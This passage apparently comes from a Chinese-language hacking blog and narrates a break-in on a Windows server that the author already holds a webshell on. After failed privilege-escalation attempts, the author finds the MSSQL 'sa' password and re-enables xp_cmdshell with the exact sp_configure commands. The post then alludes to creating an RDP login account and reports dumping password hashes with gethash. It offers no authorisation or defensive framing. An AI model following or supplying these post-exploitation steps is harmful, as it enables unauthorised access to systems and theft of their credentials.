|  |
| --- |
| 22.jpg wscript.shell 支持，但是pr,烤肉==都利用了，皆无法成功，由于手里没神器之类的，就看了一下开放端口！     44.jpg   有3389方便我们提权登陆，重点有个1433，经过很蛋疼狂找，终于得到sa密码，迫不及待的用sqltools连接成功，接着执行net user命令   55.jpg    出现：C:\>net user SQL Server 阻止了对组件 'xp\_cmdshell' 的 过程'sys.xp\_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp\_configure 启用 'xp\_cmdshell'。有关启用 'xp\_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。   这时候刚好有一个办法能解决这个问题，马上用shell登陆数据库！！！   66.jpg   这里执行的是：EXEC sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp\_cmdshell', 1;RECONFIGURE;--  然后回到sqltools看看情况，  77.jpg   能够执行成功，这是可以建立帐号密码3389登陆，你知道的。我这里没出现什么问题，就不深入讲解了！！  但是我到这里还没有完，我想做的是抓取hash，你也知道的！  这里用到gethash ，我已经上传好了！ 88.jpg    成功抓取到hash |